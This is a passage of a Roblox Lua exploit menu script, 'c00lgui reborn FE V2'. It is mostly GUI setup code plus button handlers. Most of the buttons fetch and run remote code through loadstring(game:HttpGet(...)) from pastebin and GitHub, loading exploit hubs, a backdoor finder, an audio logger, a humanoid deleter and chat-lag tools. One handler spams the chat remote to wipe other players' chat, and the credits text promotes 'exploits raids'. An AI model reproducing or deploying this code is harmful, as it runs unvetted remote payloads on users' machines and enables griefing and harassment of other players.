- no4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- no4.BorderColor3 = Color3.fromRGB(255, 0, 0)
- no4.BorderSizePixel = 3
- no4.Position = UDim2.new(0, 75, 0, 198)
- no4.Size = UDim2.new(0.5, 0, 0, 30)
- no4.ZIndex = 2
- no4.Font = Enum.Font.SourceSans
- no4.Text = ""
- no4.TextColor3 = Color3.fromRGB(255, 255, 255)
- no4.TextSize = 14.000
- no4.TextWrapped = true
- PageLabel_2.Name = "PageLabel"
- PageLabel_2.Parent = robloxoldstyle
- PageLabel_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- PageLabel_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
- PageLabel_2.BorderSizePixel = 3
- PageLabel_2.Position = UDim2.new(0, 0, 1, -30)
- PageLabel_2.Size = UDim2.new(2, 0, 0, 30)
- PageLabel_2.ZIndex = 2
- PageLabel_2.Font = Enum.Font.SourceSans
- PageLabel_2.Text = "Page 2"
- PageLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
- PageLabel_2.TextSize = 18.000
- PageLabel_2.TextWrapped = true
- Page3.Name = "Page3"
- Page3.Parent = Frame
- Page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Page3.BorderSizePixel = 3
- Page3.Position = UDim2.new(0, 0, 0, 83)
- Page3.Size = UDim2.new(1, 0, 1, -106)
- Page3.Visible = false
- Page3.ZIndex = 2
- End.Name = "End"
- End.Parent = Page3
- End.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- End.BorderColor3 = Color3.fromRGB(255, 0, 0)
- End.BorderSizePixel = 3
- End.Position = UDim2.new(-0.00999999978, 3, 0, 0)
- End.Size = UDim2.new(1.00999999, -3, 1, 0)
- End.ZIndex = 2
- Text.Name = "Text"
- Text.Parent = End
- Text.Active = true
- Text.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Text.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Text.BorderSizePixel = 3
- Text.Position = UDim2.new(-0.0012245687, 0, 0.112244904, 0)
- Text.Size = UDim2.new(1.00122452, 0, 0.897959173, 0)
- Text.ZIndex = 2
- Text.Font = Enum.Font.SourceSans
- Text.LineHeight = 0.990
- Text.Text = "Thank you for using c00lgui reborn FE V2. \\n\\nNeed support or changelogs? \\n\\nJoin us : discord.gg/92Wb8yGEh9\\n\\nPrepare for 12/07/2022 exploits raids! \\n\\nSpecial thanks to : Mokny, USD317, NiceMan \\nAnd everyone from team c00lkidd! \\n\\nShoutout to MasterMZ for showcasing the script!"
- Text.TextColor3 = Color3.fromRGB(255, 255, 255)
- Text.TextSize = 19.000
- Text.TextWrapped = true
- Text.TextYAlignment = Enum.TextYAlignment.Top
- PageLabel_3.Name = "PageLabel"
- PageLabel_3.Parent = Page3
- PageLabel_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- PageLabel_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
- PageLabel_3.BorderSizePixel = 3
- PageLabel_3.Position = UDim2.new(0, 0, 0.102040827, -30)
- PageLabel_3.Size = UDim2.new(1, 0, 0, 30)
- PageLabel_3.ZIndex = 2
- PageLabel_3.Font = Enum.Font.SourceSans
- PageLabel_3.Text = "Credits"
- PageLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
- PageLabel_3.TextSize = 18.000
- PageLabel_3.TextWrapped = true
- CloseOpen.Name = "Close/Open"
- CloseOpen.Parent = c00lguiFE
- CloseOpen.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- CloseOpen.BorderColor3 = Color3.fromRGB(255, 0, 0)
- CloseOpen.BorderSizePixel = 3
- CloseOpen.Position = UDim2.new(0, 3, 0.300000012, 380)
- CloseOpen.Size = UDim2.new(0, 300, 0, 20)
- CloseOpen.ZIndex = 3
- CloseOpen.Font = Enum.Font.SourceSans
- CloseOpen.Text = "Close"
- CloseOpen.TextColor3 = Color3.fromRGB(255, 255, 255)
- CloseOpen.TextSize = 18.000
- -- Scripts:
- local function LHCAB_fake_script() -- back.LocalScript
- local script = Instance.new('LocalScript', back)
- script.Parent.MouseButton1Click:Connect(function()
- if script.Parent.Parent.Page1.Visible == true then
- script.Parent.Parent.Page1.Visible = false
- script.Parent.Parent.Page2.Visible = false
- script.Parent.Parent.Page3.Visible = true
- elseif script.Parent.Parent.Page2.Visible == true then
- script.Parent.Parent.Page2.Visible = false
- script.Parent.Parent.Page1.Visible = true
- script.Parent.Parent.Page3.Visible = false
- elseif script.Parent.Parent.Page3.Visible == true then
- script.Parent.Parent.Page2.Visible = true
- script.Parent.Parent.Page1.Visible = false
- script.Parent.Parent.Page3.Visible = false
- end
- end)
- end
- coroutine.wrap(LHCAB_fake_script)()
- local function ZJGJRKT_fake_script() -- next.LocalScript
- local script = Instance.new('LocalScript', next)
- script.Parent.MouseButton1Click:Connect(function()
- if script.Parent.Parent.Page1.Visible == true then
- script.Parent.Parent.Page1.Visible = false
- script.Parent.Parent.Page2.Visible = true
- script.Parent.Parent.Page3.Visible = false
- elseif script.Parent.Parent.Page2.Visible == true then
- script.Parent.Parent.Page2.Visible = false
- script.Parent.Parent.Page1.Visible = false
- script.Parent.Parent.Page3.Visible = true
- elseif script.Parent.Parent.Page3.Visible == true then
- script.Parent.Parent.Page2.Visible = false
- script.Parent.Parent.Page1.Visible = true
- script.Parent.Parent.Page3.Visible = false
- end
- end)
- end
- coroutine.wrap(ZJGJRKT_fake_script)()
- local function JFVW_fake_script() -- Owlhub.LocalScript
- local script = Instance.new('LocalScript', Owlhub)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://raw.githubusercontent.com/CriShoux/OwlHub/master/OwlHub.txt"))();
- end)
- end
- coroutine.wrap(JFVW_fake_script)()
- local function HVYOQG_fake_script() -- topkekremake.LocalScript
- local script = Instance.new('LocalScript', topkekremake)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
- end)
- end
- coroutine.wrap(HVYOQG_fake_script)()
- local function VHXIX_fake_script() -- Opfinality.LocalScript
- local script = Instance.new('LocalScript', Opfinality)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/cdWKjwj8'))()
- end)
- end
- coroutine.wrap(VHXIX_fake_script)()
- local function SAFMH_fake_script() -- ScriptSpy.LocalScript
- local script = Instance.new('LocalScript', ScriptSpy)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/yBLDEdDn'))()
- end)
- end
- coroutine.wrap(SAFMH_fake_script)()
- local function QRNKBC_fake_script() -- Dex.LocalScript
- local script = Instance.new('LocalScript', Dex)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://raw.githubusercontent.com/L8X/ExProDex-V2/main/srcmemcheckbypass.lua", false))()
- end)
- end
- coroutine.wrap(QRNKBC_fake_script)()
- local function EFCKKKW_fake_script() -- Hydroxide.LocalScript
- local script = Instance.new('LocalScript', Hydroxide)
- script.Parent.MouseButton1Click:Connect(function()
- local owner = "Upbolt"
- local branch = "revision"
- local function webImport(file)
- return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')()
- end
- webImport("init")
- webImport("ui/main")
- end)
- end
- coroutine.wrap(EFCKKKW_fake_script)()
- local function KYWXLCF_fake_script() -- audiologger.LocalScript
- local script = Instance.new('LocalScript', audiologger)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet('https://pastebin.com/raw/4z9GWRY6'))()
- end)
- end
- coroutine.wrap(KYWXLCF_fake_script)()
- local function EARJXPZ_fake_script() -- InfiniteYieldFE.LocalScript
- local script = Instance.new('LocalScript', InfiniteYieldFE)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()
- end)
- end
- coroutine.wrap(EARJXPZ_fake_script)()
- local function SDPG_fake_script() -- HarkedReborn.LocalScript
- local script = Instance.new('LocalScript', HarkedReborn)
- script.Parent.MouseButton1Click:Connect(function()
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Harked reborn Loading",
- Text = "This might take time due to obfuscator",
- Duration = math.huge,
- Button1 = "Ok",
- })
- wait(3)
- loadstring(game:HttpGet("https://lolpippiou.github.io/HarkedReborn/HarkedReborn.lua"))();
- end)
- end
- coroutine.wrap(SDPG_fake_script)()
- local function XEVW_fake_script() -- Backdoorfinder.LocalScript
- local script = Instance.new('LocalScript', Backdoorfinder)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
- end)
- end
- coroutine.wrap(XEVW_fake_script)()
- local function JEVIS_fake_script() -- headfling.LocalScript
- local script = Instance.new('LocalScript', headfling)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/BK4Q0DfU"))();
- end)
- end
- coroutine.wrap(JEVIS_fake_script)()
- local function HGDG_fake_script() -- UnanchPlr.LocalScript
- local script = Instance.new('LocalScript', UnanchPlr)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/y2yFfXw3", true))();
- end)
- end
- coroutine.wrap(HGDG_fake_script)()
- local function IHKWBG_fake_script() -- Ccanon.LocalScript
- local script = Instance.new('LocalScript', Ccanon)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/4hqcYBFb"))();
- end)
- end
- coroutine.wrap(IHKWBG_fake_script)()
- local function FLVKOT_fake_script() -- humanoidel.LocalScript
- local script = Instance.new('LocalScript', humanoidel)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lrobloxscripts/main/humanoiddeleter.lua"))();
- end)
- end
- coroutine.wrap(FLVKOT_fake_script)()
- local function TLXVNST_fake_script() -- salute.LocalScript
- local script = Instance.new('LocalScript', salute)
- script.Parent.MouseButton1Click:Connect(function()
- --- [R6] FE salute ---
- --- Edited by nul#3174 ---
- --- Credits to the unknown original creator ---
- local UIS = game:GetService("UserInputService")
- local Posed = false
- local Player = game.Players.LocalPlayer
- local Animation = Instance.new("Animation")
- Animation.AnimationId = "rbxassetid://186434728"
- local Track = Player.Character.Humanoid:LoadAnimation(Animation)
- local function onRan()
- UIS.InputBegan:Connect(function(input, gameProcessed)
- if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
- Posed = true
- Track:Play()
- wait(.05)
- Track:AdjustSpeed(0)
- elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
- Posed = false
- Track:Stop()
- end
- end)
- end
- onRan()
- local function onDeath()
- Player.CharacterAdded:Wait()
- repeat wait() until Player.Character:FindFirstChild("Humanoid")
- Track = Player.Character.Humanoid:LoadAnimation(Animation)
- UIS.InputBegan:Connect(function(input, gameProcessed)
- if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then
- Posed = true
- Track:Play()
- wait(.05)
- Track:AdjustSpeed(0)
- elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then
- Posed = false
- Track:Stop()
- end
- end)
- end
- Player.Character:WaitForChild("Humanoid").Died:Connect(function()
- onDeath()
- onRan()
- end)
- Player.CharacterAdded:Connect(function()
- onDeath()
- onRan()
- end)
- end)
- end
- coroutine.wrap(TLXVNST_fake_script)()
- local function UDMLS_fake_script() -- lagchat.LocalScript
- local script = Instance.new('LocalScript', lagchat)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://raw.githubusercontent.com/AnthonyIsntHere/anthonysrepository/main/scripts/ChatLag.lua"))()
- end)
- end
- coroutine.wrap(UDMLS_fake_script)()
- local function YJSF_fake_script() -- breakchat.LocalScript
- local script = Instance.new('LocalScript', breakchat)
- script.Parent.MouseButton1Click:Connect(function()
- local hint = Instance.new("Hint", workspace)
- local count = 60
- repeat
- hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds"
- wait(2.5)
- count = count - 1
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All")
- until count == 0
- hint.Text = "The chat should be gone."
- wait(3)
- hint:Destroy()
- end)
- end
- coroutine.wrap(YJSF_fake_script)()
- local function DQVB_fake_script() -- commitoof.LocalScript
- local script = Instance.new('LocalScript', commitoof)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
- end)
- end
- coroutine.wrap(DQVB_fake_script)()
- local function RYJD_fake_script() -- backflip.LocalScript
- local script = Instance.new('LocalScript', backflip)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/DPQzQ6Gi"))();
- end)
- end
- coroutine.wrap(RYJD_fake_script)()
- local function OKEZBY_fake_script() -- walkonwall.LocalScript
- local script = Instance.new('LocalScript', walkonwall)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/H4c2LpFF"))();
- end)
- end
- coroutine.wrap(OKEZBY_fake_script)()
- local function FEHH_fake_script() -- blackhole.LocalScript
- local script = Instance.new('LocalScript', blackhole)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/Ug5aA1QL"))();
- end)
- end
- coroutine.wrap(FEHH_fake_script)()
- local function AAOME_fake_script() -- ClickTP.LocalScript
- local script = Instance.new('LocalScript', ClickTP)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/mJEDExRM"))();
- end)
- end
- coroutine.wrap(AAOME_fake_script)()
- local function UVDLNK_fake_script() -- autism.LocalScript
- local script = Instance.new('LocalScript', autism)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:GetObjects("rbxassetid://1427263101")[1].Source)();
- end)
- end
- coroutine.wrap(UVDLNK_fake_script)()
- local function ZRSLPXN_fake_script() -- singtheme.LocalScript
- local script = Instance.new('LocalScript', singtheme)
- script.Parent.MouseButton1Click:Connect(function()
- loadstring(game:HttpGet("https://pastebin.com/raw/eMzcLtLp"))();
- end)
- end
- coroutine.wrap(ZRSLPXN_fake_script)()
- local function CLRIP_fake_script() -- oldtopbar.LocalScript
- local script = Instance.new('LocalScript', oldtopbar)
- script.Parent.MouseButton1Click:Connect(function()
- if not game:IsLoaded() then
- game.Loaded:Wait()
- end
- wait(0.1)
- --// variables/modules
- local CoreGui = game:GetService("CoreGui")
- local RobloxGui = CoreGui:FindFirstChild("RobloxGui")
- local UserInputService = game:GetService("UserInputService")
- local TopBar = game:GetService("CoreGui"):WaitForChild("TopBarApp"):WaitForChild("TopBarFrame")
- local ChatIcon = TopBar:WaitForChild("LeftFrame"):WaitForChild("ChatIcon"):WaitForChild("Background"):WaitForChild("Icon")
- local UIS = game:GetService("UserInputService")
- local function devprint(text)
- if config.dev then
- print(text)
- end
- end
- --// custom assets
- local getasset = getsynasset or getcustomasset
- makefolder("2016_storage")
- writefile("2016_storage/bc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_BC-16.png"))
- writefile("2016_storage/tbc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_TBC-16.png"))
- writefile("2016_storage/obc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_OBC-16.png"))
- local bc_storage = {
- getasset("2016_storage/bc.png"),
- getasset("2016_storage/obc.png"),
- getasset("2016_storage/tbc.png")
- }
- --// STYLE:
- TopBar.Transparency = 0.5
- TopBar.BorderSizePixel = 0
- TopBar.BackgroundColor3 = Color3.fromRGB(31, 31, 31)
- TopBar.LeftFrame.ChatIcon.Background.StateOverlay.Image = ""
- TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = ""
- TopBar.LeftFrame.MenuIcon.Background.Image = ""
- TopBar.LeftFrame.ChatIcon.Background.Image = ""
- TopBar.LeftFrame.Position = UDim2.new(0, 0, 0, 2)
- TopBar.LeftFrame.Size = UDim2.new(0, 0, 0, 36)
- TopBar.LeftFrame.MenuIcon.Position = UDim2.new(0, 0, 0, 0)
- TopBar.LeftFrame.MenuIcon.Size = UDim2.new(0, 50, 0, 36)
- TopBar.LeftFrame.MenuIcon.Background.Icon.Position = UDim2.new(0, 25, 0, 12)
- TopBar.LeftFrame.MenuIcon.Background.Icon.Size = UDim2.new(0, 32, 0, 25)
- game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Position = UDim2.new(0, -8, 0, 18)
- game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Size = UDim2.new(0, 32, 0, 25)
- TopBar.LeftFrame.ChatIcon.Position = UDim2.new(0, 0, 0, 0)
- TopBar.LeftFrame.ChatIcon.Size = UDim2.new(0, 50, 0, 36)
- TopBar.LeftFrame.ChatIcon.Background.Icon.Position = UDim2.new(0, 14, 0, 13)
- TopBar.LeftFrame.ChatIcon.Background.Icon.Size = UDim2.new(0, 28, 0, 27)
- TopBar.LeftFrame.MenuIcon.Background.Icon.Image = "rbxasset://textures/ui/Menu/Hamburger.png"
- --// cursor
- local mouse = game:GetService("Players").LocalPlayer:GetMouse()
- mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png'
- --// chat scripts
- game:GetService("RunService").Heartbeat:Connect(function()
- if game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar:IsFocused() then
- game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.BackgroundTransparency = 0.1
- end
- end)
- local function changechatico()
- if ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOff.png" then
- elseif ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOn.png" then
- end
- end
- for _,v in pairs(game:GetDescendants()) do
- if v:IsA("TextLabel") and v.Text == "Chat '/?' or '/help' for a list of chat commands." then
- v.Text = "Please chat '/?' for a list of commands"
- end
- end
- changechatico()
- spawn(function()
- game:GetService("Players").PlayerChatted:Connect(function(PlayerChatType, sender, message, recipient)
- changechatico()
- end)
- end)
- spawn(function()
- game:GetService("RunService").Heartbeat:Connect(function()
- changechatico()
- end)
- end)
- game.RunService.Heartbeat:Connect(function()
- TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = ""
- game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.Image = "rbxasset://textures/ui/Menu/HamburgerDown.png"
- game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectOffset = Vector2.new(0, 0)
- game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectSize = Vector2.new(0, 0)
- if TopBar.LeftFrame.ChatIcon:FindFirstChild("BadgeContainer") then
- if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge") then
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.Image = "rbxasset://textures/ui/Chat/MessageCounter.png"
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectOffset = Vector2.new(0, 0)
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectSize = Vector2.new(0, 0)
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner:ClearAllChildren()
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Position = UDim2.new(0, 15, 0, 2)
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ScaleType = Enum.ScaleType.Fit
- if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge"):FindFirstChild("Background") then
- TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Background:Destroy()
- end
- end
- end
- end)
- end)
- end
- coroutine.wrap(CLRIP_fake_script)()
- local function GQEFNE_fake_script() -- oldcharsounds.LocalScript
- local script = Instance.new('LocalScript', oldcharsounds)
- script.Parent.MouseButton1Click:Connect(function()
- if not game:IsLoaded() then
- game.Loaded:Wait()
- end
- wait(1)
- local Players = game:GetService("Players")
- local RunService = game:GetService("RunService")
- repeat wait() until game.Players.LocalPlayer.Character
- local SOUND_DATA = {
- Climbing = {
- SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
- Looped = true,
- },
- Died = {
- SoundId = "rbxasset://sounds/uuhhh.mp3",
- },
- FreeFalling = {
- SoundId = "rbxasset://sounds/swoosh.wav",
- Looped = true,
- },
- GettingUp = {
- SoundId = "rbxasset://sounds/hit.wav",
- },
- Jumping = {
- SoundId = "rbxasset://sounds/button.wav",
- },
- Landing = {
- SoundId = "rbxasset://sounds/action_jump_land.mp3",
- },
- Splash = {
- SoundId = "rbxasset://sounds/impact_water.mp3",
- },
- Swimming = {
- SoundId = "rbxasset://sounds/action_swim.mp3",
- Looped = true,
- Pitch = 1.6,
- },
- }
- -- wait for the first of the passed signals to fire
- local function waitForFirst(...)
- local shunt = Instance.new("BindableEvent")
- local slots = {...}
- local function fire(...)
- for i = 1, #slots do
- slots[i]:Disconnect()
- end
- return shunt:Fire(...)
- end
- for i = 1, #slots do
- slots[i] = slots[i]:Connect(fire)
- end
- return shunt.Event:Wait()
- end
- -- map a value from one range to another
- local function map(x, inMin, inMax, outMin, outMax)
- return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
- end
- local function playSound(sound)
- sound.TimePosition = 0
- sound.Playing = true
- end
- local function shallowCopy(t)
- local out = {}
- for k, v in pairs(t) do
- out[k] = v
- end
- return out
- end
- local function initializeSoundSystem(player, humanoid, rootPart)
- local sounds = {}
- -- initialize sounds
- for name, props in pairs(SOUND_DATA) do
- local sound = Instance.new("Sound")
- sound.Name = name
- -- set default values
- sound.Archivable = false
- sound.EmitterSize = 5
- sound.MaxDistance = 150
- sound.Volume = 0.65
- for propName, propValue in pairs(props) do
- sound[propName] = propValue
- end
- sound.Parent = rootPart
- sounds[name] = sound
- end
- local playingLoopedSounds = {}
- local function stopPlayingLoopedSounds(except)
- for sound in pairs(shallowCopy(playingLoopedSounds)) do
- if sound ~= except then
- sound.Playing = false
- playingLoopedSounds[sound] = nil
- end
- end
- end
- -- state transition callbacks
- local stateTransitions = {
- [Enum.HumanoidStateType.FallingDown] = function()
- stopPlayingLoopedSounds()
- end,
- [Enum.HumanoidStateType.GettingUp] = function()
- stopPlayingLoopedSounds()
- playSound(sounds.GettingUp)
- end,
- [Enum.HumanoidStateType.Jumping] = function()
- stopPlayingLoopedSounds()
- playSound(sounds.Jumping)
- end,
- [Enum.HumanoidStateType.Swimming] = function()
- local verticalSpeed = math.abs(rootPart.Velocity.Y)
- if verticalSpeed > 0.1 then
- sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
- playSound(sounds.Splash)
- end
- stopPlayingLoopedSounds(sounds.Swimming)
- sounds.Swimming.Playing = true
- playingLoopedSounds[sounds.Swimming] = true
- end,
- [Enum.HumanoidStateType.Freefall] = function()
- sounds.FreeFalling.Volume = 0
- stopPlayingLoopedSounds(sounds.FreeFalling)
- playingLoopedSounds[sounds.FreeFalling] = true
- end,
- [Enum.HumanoidStateType.Landed] = function()
- stopPlayingLoopedSounds()
- local verticalSpeed = math.abs(rootPart.Velocity.Y)
- if verticalSpeed > 75 then
- sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
- playSound(sounds.Landing)
- end
- end,
- [Enum.HumanoidStateType.Climbing] = function()
- local sound = sounds.Climbing
- if math.abs(rootPart.Velocity.Y) > 0.1 then
- sound.Playing = true
- stopPlayingLoopedSounds(sound)
- else
- stopPlayingLoopedSounds()
- end
- playingLoopedSounds[sound] = true
- end,
- [Enum.HumanoidStateType.Seated] = function()
- stopPlayingLoopedSounds()
- end,
- [Enum.HumanoidStateType.Dead] = function()
- stopPlayingLoopedSounds()
- playSound(sounds.Died)
- end,
- }
- -- updaters for looped sounds
- local loopedSoundUpdaters = {
- [sounds.Climbing] = function(dt, sound, vel)
- sound.Playing = vel.Magnitude > 0.1
- end,
- [sounds.FreeFalling] = function(dt, sound, vel)
- if vel.Magnitude > 75 then
- sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
- else
- sound.Volume = 0
- end
- end,
- }
- -- state substitutions to avoid duplicating entries in the state table
- local stateRemap = {
- [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
- }
- local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
- local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
- state = stateRemap[state] or state
- if state ~= activeState then
- local transitionFunc = stateTransitions[state]
- if transitionFunc then
- transitionFunc()
- end
- activeState = state
- end
- end)
- local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
- -- update looped sounds on stepped
- for sound in pairs(playingLoopedSounds) do
- local updater = loopedSoundUpdaters[sound]
- if updater then
- updater(worldDt, sound, rootPart.Velocity)
- end
- end
- end)
- local humanoidAncestryChangedConn
- local rootPartAncestryChangedConn
- local characterAddedConn
- local function terminate()
- stateChangedConn:Disconnect()
- steppedConn:Disconnect()
- humanoidAncestryChangedConn:Disconnect()
- rootPartAncestryChangedConn:Disconnect()
- characterAddedConn:Disconnect()
- end
- humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
- if not parent then
- terminate()
- end
- end)
- rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
- if not parent then
- terminate()
- end
- end)
- characterAddedConn = player.CharacterAdded:Connect(terminate)
- end
- local function playerAdded(player)
- local function characterAdded(character)
- -- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
- -- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
- -- ** must use a waitForFirst on everything and listen for hierarchy changes.
- -- * the character might not be in the dm by the time CharacterAdded fires
- -- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
- -- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
- -- * RootPart probably won't exist immediately.
- -- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.
- if not character.Parent then
- waitForFirst(character.AncestryChanged, player.CharacterAdded)
- end
- if player.Character ~= character or not character.Parent then
- return
- end
- local humanoid = character:FindFirstChildOfClass("Humanoid")
- while character:IsDescendantOf(game) and not humanoid do
- waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
- humanoid = character:FindFirstChildOfClass("Humanoid")
- end
- if player.Character ~= character or not character:IsDescendantOf(game) then
- return
- end
- -- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
- local rootPart = character:FindFirstChild("HumanoidRootPart")
- while character:IsDescendantOf(game) and not rootPart do
- waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
- rootPart = character:FindFirstChild("HumanoidRootPart")
- end
- if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
- initializeSoundSystem(player, humanoid, rootPart)
- end
- end
- if player.Character then
- characterAdded(player.Character)
- end
- player.CharacterAdded:Connect(characterAdded)
- end
- Players.PlayerAdded:Connect(playerAdded)
- for _, player in ipairs(Players:GetPlayers()) do
- playerAdded(player)
- end
- end)
- end
- coroutine.wrap(GQEFNE_fake_script)()
- local function EJAJAVZ_fake_script() -- oldanim.LocalScript
- local script = Instance.new('LocalScript', oldanim)
- script.Parent.MouseButton1Click:Connect(function()
- if game.PlaceId == 445664957 then
- return;
- end
- local player = game:GetService("Players").LocalPlayer
- repeat wait() until game.Players.LocalPlayer.Character
- Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait()
- if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then
- game.Players.LocalPlayer.Character:BreakJoints()
- game.Players.LocalPlayer.Character=nil
- Connection = game.Workspace.DescendantAdded:Connect(function(c)
- if c.Name == "Animate" then
- c.Disabled=true
- end
- end)
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil
- Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function()
- Connection:Disconnect()
- Died:Disconnect()
- end)
- wait(.1)
- -- ANIMATION
- -- declarations
- local Figure = game.Players.LocalPlayer.Character
- local Torso = waitForChild(Figure, "Torso")
- local RightShoulder = waitForChild(Torso, "Right Shoulder")
- local LeftShoulder = waitForChild(Torso, "Left Shoulder")
- local RightHip = waitForChild(Torso, "Right Hip")
- local LeftHip = waitForChild(Torso, "Left Hip")
- local Neck = waitForChild(Torso, "Neck")
- local Humanoid = waitForChild(Figure, "Humanoid")
- local pose = "Standing"
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpMaxLimbVelocity = 0.75
- -- functions
- function onRunning(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- pose = "Jumping"
- end
